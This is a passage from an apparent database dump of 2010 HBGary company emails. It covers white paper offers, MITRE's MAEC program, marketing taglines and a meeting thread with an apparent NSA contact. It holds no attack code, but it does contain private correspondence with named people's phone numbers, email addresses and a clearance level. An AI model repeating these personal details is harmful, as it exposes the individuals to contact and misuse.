<bob@hbgary.com>','/aaron@hbgary.com/new/1297003259.M983625P3547Q5143.eml','\"Richard Montoya\" <richard.montoya@it-harvest.com>,aaron@hbgary.com','RE: IT-Harvest:  white paper on Advanced Persistent Threat','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nRichard,\r\n\r\n&nbsp;\r\n\r\nWe discussed the possibility of HBGary needing to write some\r\nwhitepapers and maybe farming it out.&nbsp; Penny makes those decisions.&nbsp; I&#8217;ll ask\r\nher if she wants help with it.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Richard Montoya\r\n[mailto:richard.montoya@it-harvest.com] \r\nSent: Friday, April 09, 2010 7:41 PM\r\nTo: aaron@hbgary.com; bob@hbgary.com\r\nSubject: IT-Harvest: white paper on Advanced Persistent Threat\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, hello&nbsp;Bob.&nbsp; How was your meeting with\r\nRichard at Palantir?&nbsp; He mentioned you expressed interest in a white paper\r\non Advanced Persistent Threat.....how can we help you?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKindest Regards, \r\n\r\nRichard D. Montoya \r\n\r\nDirector of New Business Development \r\nrichard.montoya@it-harvest.com\r\n\r\nhttp://twitter.com/rdmontoya \r\nhttp://www.linkedin.com/pub/0/718/364\r\n\r\n(O) 203-826-7056 \r\n(M) 203-313-3315 \r\n\r\n\r\n\r\n\r\n\r\nPre-order Surviving Cyber War on Amazon! \r\n\r\n\r\nRichard Stiennon Biography \r\n\r\n\r\n\r\nRichard Stiennon, security expert and analyst, is known for\r\nshaking up the industry and providing actionable guidance to vendors and end\r\nusers. He recently re-launched the security blog ThreatChaos.com and is the\r\nfounder of IT-Harvest, an independent analyst firm that researches the 1,200 IT\r\nsecurity vendors. He was Chief Marketing Officer for Fortinet, Inc. the leading\r\nUTM vendor. Prior to that he was VP Threat Research at Webroot Software where\r\nhe followed and wrote about the rising tide of spyware. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBefore Webroot, Mr. Stiennon was VP Research at Gartner Inc.\r\nwhere he covered security topics including firewalls, intrusion detection,\r\nintrusion prevention, security consulting, and managed security services for\r\nthe Security and Privacy group. He is a holder of Gartner\'s Thought Leadership\r\naward and was named &quot;One of the 50 most powerful people in\r\nNetworking&quot; by NetworkWorld Magazine. In November 2009, he was named by SC\r\nMagazine as a security industry pioneer. \r\n\r\n\r\n\r\n\r\n\r\n\r\nStiennon\'s Blog:&nbsp; www.threatchaos.com\r\n\r\n\r\n\r\n\r\n\r\nSC Magazine Industry Pioneers:&nbsp; http://www.scmagazineus.com/industry-pioneers/article/157220/\r\nCRN Security Superstar:&nbsp; http://tinyurl.com/yjk6dxq\r\n\r\nThe NetworkWorld Award &lt;http://www.networkworld.com/power/2003/122250most.html?page=8&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHis ThreatChaos blog was re-launched in the fall of 2008 and\r\ngarners 7,000+ page views a day. The author is followed by 18,100 people on Twitter\r\nand has a Twitter Grade of 99.96. The Twitter ID @cyberwar has 4,000 followers\r\nin the IT security field. The author also manages a LinkedIn Group of security\r\nleaders with 3,050 members and publishes the Data Protection Weekly email to\r\n4,400 subscribers. He is in partnership with MiTechNews.com which sends weekly\r\nemails to 34,000 people. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/09/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3605,'aaron_hbgary_com/3605.html'),(5144,'2010-04-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003260.M172734P3547Q5144.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Email Intro\'s?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nI am familiar with MITRE&#8217;s MAEC program.&nbsp; MITRE&#8217;s\r\nobjective is to create a standardized\r\nlanguage for encoding and communicating high-fidelity information about malware\r\nbased upon attributes such as behaviors, artifacts, and attack patterns.&nbsp; HBGary&#8217;s\r\ninvolvement could ensure that any resulting standards that emerge will be\r\nconsistent with DDNA or vice versa.\r\n\r\n&nbsp;\r\n\r\nMITRE\r\nhas a working group for interested parties:&nbsp; http://maec.mitre.org/community/workinggroup.html\r\n\r\nAnybody\r\nwho wants to get involved are instructed to send an email to maec@mitre.org\r\n\r\n&nbsp;\r\n\r\nWhile\r\nthis is a good idea, who at HBGary has time to get involved?&nbsp; The MAEC\r\nprogram may have long term benefits to HBGary, but it would be unlikely to be\r\nany short term revenue from it.\r\n\r\n&nbsp;\r\n\r\nI\r\nwill reach out to Bob Martin.&nbsp; It could help our relationship with Ned and\r\nSymantec.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice\r\nPresident&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; |\r\nMobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, April 09, 2010 6:38 PM\r\nTo: \'Aaron Barr\'; \'Bob Slapnik\'\r\nSubject: FW: Email Intro\'s?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDo you know this guy?&nbsp;\r\nShould we work with Mitre?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ned Miller\r\n[mailto:Ned_Miller@symantec.com] \r\nSent: Friday, April 09, 2010 2:51 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Email Intro\'s?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi there&#8230; if you have not\r\nresearched as of yet this is the MITRE initiative I thought your team may have\r\nthe ability to help with some thought leadership&#8230;\r\n\r\n&nbsp;\r\n\r\nhttp://maec.mitre.org/\r\nthey are actively looking for industry partners to work together&#8230;.\r\n\r\n&nbsp;\r\n\r\nBob Martin is the guy at MITRE\r\nthat would be best to initially engage&#8230;.\r\n\r\n&nbsp;\r\n\r\nMITRE Corporation\r\n\r\n202 Burlington RD\r\n\r\nBedford, MA 01730-1420\r\n\r\nPhone: (781) 271-3001\r\n\r\nFax: (781) 271-8500\r\n\r\nE-mail:\r\nramartin@mitre.org\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, April 09, 2010 3:35 PM\r\nTo: Ned Miller\r\nSubject: Email Intro\'s?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWE&#8217;d like to meet with Tony, can you do a quick intro\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/09/10\r\n14:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7377,'aaron_hbgary_com/7377.html'),(5145,'2010-04-10','\"Richard Montoya\" <richard.montoya@it-harvest.com>','/aaron@hbgary.com/new/1297003260.M430495P3547Q5145.eml','\"Bob Slapnik\" <bob@hbgary.com>,aaron@hbgary.com','Re: IT-Harvest:  white paper on Advanced Persistent Threat','\r\nGreat we\'re happy to help and happy to set up a call to help you scope it out with Richard Stiennon.&nbsp; Please keep me posted.&nbsp;\r\nKindest Regards, Richard D. Montoya Director of New Business Development richard.montoya@it-harvest.com http://twitter.com/rdmontoya http://www.linkedin.com/pub/0/718/364 (O) 203-826-7056 (M) 203-313-3315 \r\nPre-order Surviving Cyber War on Amazon! Richard Stiennon Biography \r\nRichard Stiennon, security expert and analyst, is known for shaking up the industry and providing actionable guidance to vendors and end users. He recently re-launched the security blog ThreatChaos.com and is the founder of IT-Harvest, an independent analyst firm that researches the 1,200 IT security vendors. He was Chief Marketing Officer for Fortinet, Inc. the leading UTM vendor. Prior to that he was VP Threat Research at Webroot Software where he followed and wrote about the rising tide of spyware. \r\n&nbsp;\r\nBefore Webroot, Mr. Stiennon was VP Research at Gartner Inc. where he covered security topics including firewalls, intrusion detection, intrusion prevention, security consulting, and managed security services for the Security and Privacy group. He is a holder of Gartner\'s Thought Leadership award and was named \"One of the 50 most powerful people in Networking\" by NetworkWorld Magazine. In November 2009, he was named by SC Magazine as a security industry pioneer. \r\nStiennon\'s Blog:&nbsp; www.threatchaos.com\r\nSC Magazine Industry Pioneers:&nbsp; http://www.scmagazineus.com/industry-pioneers/article/157220/CRN Security Superstar:&nbsp; http://tinyurl.com/yjk6dxq The NetworkWorld Award &lt;http://www.networkworld.com/power/2003/122250most.html?page=8&gt;\r\n\r\nHis ThreatChaos blog was re-launched in the fall of 2008 and garners 7,000+ page views a day. The author is followed by 18,100 people on Twitter and has a Twitter Grade of 99.96. The Twitter ID @cyberwar has 4,000 followers in the IT security field. The author also manages a LinkedIn Group of security leaders with 3,050 members and publishes the Data Protection Weekly email to 4,400 subscribers. He is in partnership with MiTechNews.com which sends weekly emails to 34,000 people. \r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik &lt;bob@hbgary.com&gt;To: Richard Montoya &lt;richard.montoya@it-harvest.com&gt;; aaron@hbgary.comSent: Sat, April 10, 2010 12:35:29 PMSubject: RE: IT-Harvest: white paper on Advanced Persistent Threat\r\n\r\n\r\n\r\n\r\n\r\nRichard,\r\n&nbsp;\r\nWe discussed the possibility of HBGary needing to write some whitepapers and maybe farming it out.&nbsp; Penny makes those decisions.&nbsp; I’ll ask her if she wants help with it.\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n&nbsp;\r\n\r\n\r\nFrom: Richard Montoya [mailto:richard.montoya@it-harvest.com] Sent: Friday, April 09, 2010 7:41 PMTo: aaron@hbgary.com; bob@hbgary.comSubject: IT-Harvest: white paper on Advanced Persistent Threat\r\n&nbsp;\r\n\r\n\r\nHi Aaron, hello&nbsp;Bob.&nbsp; How was your meeting with Richard at Palantir?&nbsp; He mentioned you expressed interest in a white paper on Advanced Persistent Threat.....how can we help you?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKindest Regards, Richard D. Montoya Director of New Business Development richard.montoya@it-harvest.com http://twitter.com/rdmontoya http://www.linkedin.com/pub/0/718/364 (O) 203-826-7056 (M) 203-313-3315 \r\n\r\nPre-order Surviving Cyber War on Amazon! Richard Stiennon Biography \r\nRichard Stiennon, security expert and analyst, is known for shaking up the industry and providing actionable guidance to vendors and end users. He recently re-launched the security blog ThreatChaos.com and is the founder of IT-Harvest, an independent analyst firm that researches the 1,200 IT security vendors. He was Chief Marketing Officer for Fortinet, Inc. the leading UTM vendor. Prior to that he was VP Threat Research at Webroot Software where he followed and wrote about the rising tide of spyware. \r\n&nbsp;\r\n\r\nBefore Webroot, Mr. Stiennon was VP Research at Gartner Inc. where he covered security topics including firewalls, intrusion detection, intrusion prevention, security consulting, and managed security services for the Security and Privacy group. He is a holder of Gartner\'s Thought Leadership award and was named \"One of the 50 most powerful people in Networking\" by NetworkWorld Magazine. In November 2009, he was named by SC Magazine as a security industry pioneer. \r\n\r\nStiennon\'s Blog:&nbsp; www.threatchaos.com\r\n\r\nSC Magazine Industry Pioneers:&nbsp; http://www.scmagazineus.com/industry-pioneers/article/157220/CRN Security Superstar:&nbsp; http://tinyurl.com/yjk6dxq The NetworkWorld Award &lt;http://www.networkworld.com/power/2003/122250most.html?page=8&gt;\r\n\r\n\r\nHis ThreatChaos blog was re-launched in the fall of 2008 and garners 7,000+ page views a day. The author is followed by 18,100 people on Twitter and has a Twitter Grade of 99.96. The Twitter ID @cyberwar has 4,000 followers in the IT security field. The author also manages a LinkedIn Group of security leaders with 3,050 members and publishes the Data Protection Weekly email to 4,400 subscribers. He is in partnership with MiTechNews.com which sends weekly emails to 34,000 people. \r\nNo virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/09/10 02:32:00',14806,'aaron_hbgary_com/14806.html'),(5146,'2010-04-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003783.M981267P14101Q1.eml','all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','HBGary\'s Messaging Resurrection, Part II',' \r\nHBGary,\r\nIt has been one full year since we last attempted a change to our messaging. Last April we made the rounds to change the &quot;Detect. Diagnose. Respond.&quot; tagline.  We couldn&#39;t come up with anything stronger, so we kept it.\r\n\r\nThis time, I want to succeed with our messaging upgrade.  The current messaging must go.  The general perception is confused regarding HBGary&#39;s offering.  We are still viewed as bits-and-bytes memory forensics.  Last year in April we wanted more incident response, less forensics.  Regardless of that desire, although getting better, we are not viewed as a leader for incident response. Most importantly, nobody understands the way Digital DNA can protect the Enterprise.  HBGary and Digital DNA is viewed as after-the-fact technology.  \r\n\r\nHBGary needs a messaging reset. To succeed in the future, we must be viewed as an Enterprise proactive solution.  \r\nI understand that messaging is more difficult when companies have strong technology and multiple products. If we had a point solution that did only one thing, it would be very easy to tell people what we do.  But, HBGary has solutions in forensics, incident response, threat detection, federal services, software vulnerability research, commercial services, cyber threat monitoring, and custom funded development.  Yet, our messaging cannot be about any one of these things.  \r\n\r\nWe must address the broadly scoped problem of enterprise security.  That is what makes the difference between a &#39;Big Company&#39; message versus a one-trick pony.  As an exercise, check out some other big companies.  For example, the big defense contractors have many business units, and use messaging like &quot;The Leader in Global Security&quot;, &quot;Strength on Your Side&quot;, &quot;We never forget who we&#39;re working for&quot; - all very government focused.  But, TRW uses &quot;We Put the Thinking in Safety Systems&quot;, SAIC uses &quot;From Science to Solutions&quot;.  These messages are probably too broad for HBGary, but they make a point.  For HBGary, we need a broad message that is scoped to Cyber-Security.  \r\n\r\nConsider our competition.  HBGary addresses a broadly scoped problem.  Many companies can&#39;t say that. Consider that many of our so-called &#39;competitors&#39; are one trick pony&#39;s.  Norman and CW-Sandbox, for example, only have a malware tracing reports. Mandiant is really just incident response services.  Guidance only addresses drive forensics.  Enterprise AV is, well, boring.  Products like Verdasys Digital Guardian aren&#39;t even security products - they are IT policy enforcement - they aren&#39;t even in our space.  Now consider Mandiant&#39;s series of taglines, all very supportive of their incident response practice, but speaking to a larger problem: &quot;When Compromise is No Longer an Option&quot;, &quot;Resolution Now&quot;, &quot;Cover Your Assets.  Save Your Assets&quot;,  &quot;From the Front Lines of the Cyber Battlefield&quot;, &quot;How the Enterprise Solves Computer Security Incidents&quot;, &quot;Security Beyond Compliance&quot;,  &quot;When You Can&#39;t Miss the Details&quot;.  Guidance doesn&#39;t step out of the box - they use &quot;The World Leader in Digital Investigations&quot;.  Verdasys admits they are glorified DLP, they use &quot;Enterprise Information Protection&quot;.  Symantec &amp; McAfee, both companies that by all accounts should have big-picture messages, instead list all of their products one-by-one on the title bars of their main webpage.  \r\n\r\nUltimately, our broad messaging needs to be about security in a highly competitive global marketplace.  Bad guys steal intellectual property and emails so they can gain a strategic advantage.\r\nPenny is going to be working on new messaging with the Analyst firms over the next few weeks.  Anyone who has an opinion about our messaging should get involved now.  I would encourage that we don&#39;t start from scratch again.  Many of you have worked on this problem before.  Go through your old emails.  \r\n\r\nI know that threat detection &amp; mitigation will be on the table.  I know that &#39;intelligence&#39; will be an operative word. I want to throw in my two cents - In the area of threat detection live antivirus and IDS, products which have lost all credibility. To address the lack of detection, new threat-intelligence companies are sprouting up to supply malware domain lists, blacklist feeds, whitelist databases, confidence scores, trustworthyness scores, and a slew of &quot;good vs bad&quot; contrasting measurements. We need to keep this in mind so we don&#39;t look like a one-trick data feed service.\r\n\r\nAlso, consider some of our previous attempts at new messaging:\r\n&quot;See What Your Missing&quot; was a contender.\r\nShawn:Detecting Tomorrow&#39;s Malware Today\r\nAaron:Strategic Advantage is the superset of it all, both government and private.DoD does not talk in terms of financials, they talk in terms of mission. \r\nAaron:I think the story is Net Defense, Mission Assurance, Risk Management.  Threat Intelligence is a great first step, but its only a step that gets you to the other three. Until we can tell these stories we will be stuck in the malware analysis, incident response (investigatory) buckets.\r\n\r\nGreg, Bob, and Shane Shook:“Threat Identification and Response”\r\nGreg and Rich last December:&quot;Risk Intelligence&quot;HBGary has productized risk intelligence and made it consumable to the Enterprise.** I attached the document that I wrote while at Rich&#39;s house that weekend.  I have come to the conclusion that nobody reads attachments, but I am attaching it just in case.\r\n\r\nPhil:We have to be in the field getting dirty, building our indicators of compromise database, making a name for ourselves, getting real customer feedback on our tools.\r\nBob:“The Bad Guys Want…..” with three bullets of “Intellectual Property, Strategic Advantage, Financial Gain”.  To our customers, this is a battle against people, organizations and countries that strive to do them harm.\r\n\r\nSome funny ones from last April 2009, a year ago:\r\nMaria:Knowing comes after Seeing... Know What You&#39;re MissingKnow Who is in Your Network\r\nRich:Know your cyber enemyKnow your enemy\r\nGreg:Know Who is in Your NetworkKnow Who is in Your EnterpriseKnow Who has Penetrated Your Enterprise\r\nJD:Digital DNA - Finds things no else does\r\n \r\n \r\n \r\n',16553,'aaron_hbgary_com/16553.html'),(5147,'2010-04-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003784.M266891P14101Q2.eml','all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','Some New Taglines from Greg',' \r\nTeam,\r\nHere are some taglines I just cooked up.\r\n \r\n\r\n#1. Assured Cyber Defense against Global Threats\r\n \r\n- &#39;Assured&#39; means we can deliver where the IDS and AV vendors have failed. \r\n- &quot;Global Threat&quot; is a big-boy way to say APT.\r\n- &quot;Defense&quot; implies that we have an Enteprise product\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can&#39;t tell what kind of threat defense we are addressing\r\n- kind of wordy\r\n \r\n#2. Assured Defense against Global Cyber Threats\r\n \r\n- &quot;Assured Defense&quot; means we can deliver where IDS and AV fails\r\n- &quot;Assured Defense&quot; implies enterprise product\r\n- &quot;Cyber&quot; has to be present, otherwise you can&#39;t tell what kind of threat defense we are addressing\r\n- &quot;Global Cyber Threats&quot; is not as strong as &quot;Global Threats&quot; with respect to APT\r\n- &quot;Global Cyber Threats&quot; can mean Russian bank-info stealing malware, where &quot;Global Threats&quot; implies governments and hostile organizations\r\n \r\n#3. Assured Cyber Defense\r\n \r\n\r\n- &#39;Assured&#39; means we can deliver where the IDS and AV vendors have failed. \r\n- Using the word Defense implies Threat.  So, these two words are interchangable.\r\n \r\n#4. Assurance against Global Cyber Threats\r\n \r\n\r\n- &quot;Assurance&quot; implies more of an ongoing partnership, as opposed to a product-focus\r\n- doesn&#39;t come off as wordy, lets us get the big-boy version of APT in\r\n- doesn&#39;t have the &quot;we are a product company&quot; punch\r\n \r\n#4. Cyber Threat Protection\r\n \r\n-  Using the word Protection requires additional clarifying words.  Hence, &quot;Cyber Threat&quot;\r\n- &quot;Protection&quot; absolutely implies product, but not neccesarily enteprise product\r\n- &quot;Protection&quot; can easily be confused with consumer grade protection &amp; AV\r\n \r\n#5. Cyber Threat Defense\r\n \r\n- Very broad scope, accurate for everything we do\r\n- &quot;Defense&quot; implies enterprise product, but could also mean incident response services\r\n- &quot;Cyber Threat&quot; is not a strong APT equivalent, and could mean viruses and banking malware\r\n- &quot;Cyber Threat&quot; is not strong like &quot;Global Cyber Threat&quot; or &quot;Global Threat&quot;\r\n \r\n\r\n#6. Cyber Threat Defense for the Enterprise\r\n \r\n- &quot;for the Enterprise&quot; brings home the point that we offer an Enterprise product\r\n \r\nSome variations of the above:\r\n \r\nAssured Cyber Threat Protection\r\nAssured Cyber Threat Defense\r\nCyber Assurance in a Hostile World\r\n\r\nAssured Defense in Hostile Cyberspace\r\n \r\n \r\n \r\n',9598,'aaron_hbgary_com/9598.html'),(5148,'2010-04-11','\"Curtis Kent\" <ck247@aol.com>','/aaron@hbgary.com/new/1297003784.M762012P14101Q3.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Curtis Kent has indicated you are a person they\'ve done business with at ESL:\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Curtis Kent\r\n  \r\n  \r\n  &nbsp;\r\n\r\n    \r\n      \r\n          \r\n            Accept\r\n          \r\n           \r\n                View invitation from Curtis Kent\r\n          \r\n      \r\n    \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW you can conduct a more credible and powerful reference check using LinkedIn? Enter the company name and years of employment or the prospective employee to find their colleagues that are also in your network. This provides you with a more balanced set of feedback to evaluate that new hire. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',1533,'aaron_hbgary_com/1533.html'),(5149,'2010-04-11','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','/aaron@hbgary.com/new/1297003784.M986484P14101Q4.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Malware Genome and Attribution','Aaron,\r\n\r\nI need your full name, SSN, date of birth and place of birth.\r\n\r\nI will call you tomorrow and get it over the phone or give you another\r\nplace to email it.\r\n\r\nMatt \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 31, 2010 10:49 AM\r\nTo: Bodman, Jerry M\r\nSubject: Re: Malware Genome and Attribution\r\n\r\nI have an Issa ts/sci/g/h.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 31, 2010, at 10:38 AM, \"Bodman, Jerry M\"  wrote:\r\n\r\n> Do you have a clearance?\r\n>\r\n> If so, what level?\r\n>\r\n> Matt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, March 31, 2010 7:53 AM\r\n> To: Bodman, Jerry M\r\n> Subject: Re: Malware Genome and Attribution\r\n>\r\n> Thanks Matt.\r\n>\r\n> A visit request please.\r\n>\r\n> See you on the 19th.  Tentatively I just blocked out the day, just let\r\n\r\n> me know a time that works best that day.\r\n>\r\n> Aaron\r\n>\r\n> On Mar 31, 2010, at 7:47 AM, Bodman, Jerry M wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Thank you for your time this morning.\r\n>>\r\n>> Per our discussion, I would like to try to meet with you on the 19th \r\n>> of April.\r\n>>\r\n>> Do you have a badge or do I need to put in a visitor request for you?\r\n>>\r\n>> Matt\r\n>> 410 854 6761\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, March 26, 2010 1:04 PM\r\n>> To: Bodman, Jerry M\r\n>> Subject: Re: Malware Genome and Attribution\r\n>>\r\n>> Hi Matt,\r\n>>\r\n>> Still want to get together next week?\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Mar 19, 2010, at 1:14 PM, Bodman, Jerry M wrote:\r\n>>\r\n>>> Yes please.\r\n>>>\r\n>>> How about the last week in March?\r\n>>>\r\n>>> Matt\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Tuesday, March 16, 2010 10:56 PM\r\n>>> To: Bodman, Jerry M\r\n>>> Subject: Re: Malware Genome and Attribution\r\n>>>\r\n>>> Hi Matt,\r\n>>>\r\n>>> Would you still like us to come up and discuss DDNA and some of our \r\n>>> other capabilities?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> On Feb 20, 2010, at 6:44 AM, Bodman, Jerry M wrote:\r\n>>>\r\n>>>> Next week is pretty booked at this point.\r\n>>>>\r\n>>>> How about the first week of march (other than 1 March)?\r\n>>>>\r\n>>>> Afternoons are good at this point.\r\n>>>>\r\n>>>> Matt\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Thursday, February 18, 2010 9:11 PM\r\n>>>> To: Bodman, Jerry M\r\n>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>\r\n>>>> How about next Thursday?\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> From my iPhone\r\n>>>>\r\n>>>> On Feb 18, 2010, at 1:35 PM, \"Bodman, Jerry M\" \r\n>>> wrote:\r\n>>>>\r\n>>>>> What dates/times are good for you?\r\n>>>>>\r\n>>>>> Matt\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Wednesday, February 17, 2010 4:12 PM\r\n>>>>> To: Bodman, Jerry M\r\n>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>\r\n>>>>> Yes we can come up.  When are some good dates?\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>> From my iPhone\r\n>>>>>\r\n>>>>> On Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\" \r\n>>>>> wrote:\r\n>>>>>\r\n>>>>>> Aaron,\r\n>>>>>>\r\n>>>>>> I am interested.\r\n>>>>>>\r\n>>>>>> What is the best way to meet?\r\n>>>>>>\r\n>>>>>> Can you come here?\r\n>>>>>>\r\n>>>>>> Is this related to Responder Pro?\r\n>>>>>>\r\n>>>>>> Matt\r\n>>>>>>\r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>> Sent: Tuesday, February 16, 2010 9:00 AM\r\n>>>>>> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n>>>>>> Cc: Gipson, Vergle ; Ghent, Ralph\r\n>>>>>> Subject: Re: Malware Genome and Attribution\r\n>>>>>>\r\n>>>>>> Dave/Barry/Matt,\r\n>>>>>>\r\n>>>>>> I am very interested to discuss our different efforts/ \r\n>>>>>> capabilities\r\n>\r\n>>>>>> related to malware genomes/catalogs.  Please let me know when \r\n>>>>>> convenient to get together.\r\n>>>>>>\r\n>>>>>> Thank you,\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>>\r\n>>>>>> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>>>>>>\r\n>>>>>>> Ralph,\r\n>>>>>>>\r\n>>>>>>> Thanks for reminding me about this one.\r\n>>>>>>>\r\n>>>>>>> Dave/Barry/Matt -- follow up on this please.\r\n>>>>>>>\r\n>>>>>>> Vergle\r\n>>>>>>>\r\n>>>>>>> -----Original Message-----\r\n>>>>>>> From: Ghent, Ralph\r\n>>>>>>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>>>>>>> To: Ghent, Ralph ; Gipson, Vergle\r\n>>>>>>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley \r\n>>>>>>> Parkes;\r\n>>>>>>\r\n>>>>>>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>>>>>>> Subject: RE: Malware Genome and Attribution\r\n>>>>>>>\r\n>>>>>>> Vergle,\r\n>>>>>>> Reminder of the thread below, and your awareness of the efforts \r\n>>>>>>> of\r\n>>>>>> Aaron\r\n>>>>>>> Barr; which may be supportive of your Malware catalog efforts.\r\n>>>>>>> Have\r\n>>>>>>> not seen any response since this was raised in early December.\r\n>>>>>>>\r\n>>>>>>> Also, pls see recent news article below:\r\n>>>>>>>\r\n>>>>>>> \'Cyber Genome Project\': The military scientists want to \r\n>>>>>>> establish\r\n>\r\n>>>>>>> a\r\n>>>\r\n>>>>>>> \"Cyber Genome\" project which will allow any digital artifact - a\r\n\r\n>>>>>>> document, apiece of malware - to be probed to its very origins.\r\n>>>>>>> According to an announcement put out yesterday by DARPA, the \r\n>>>>>>> 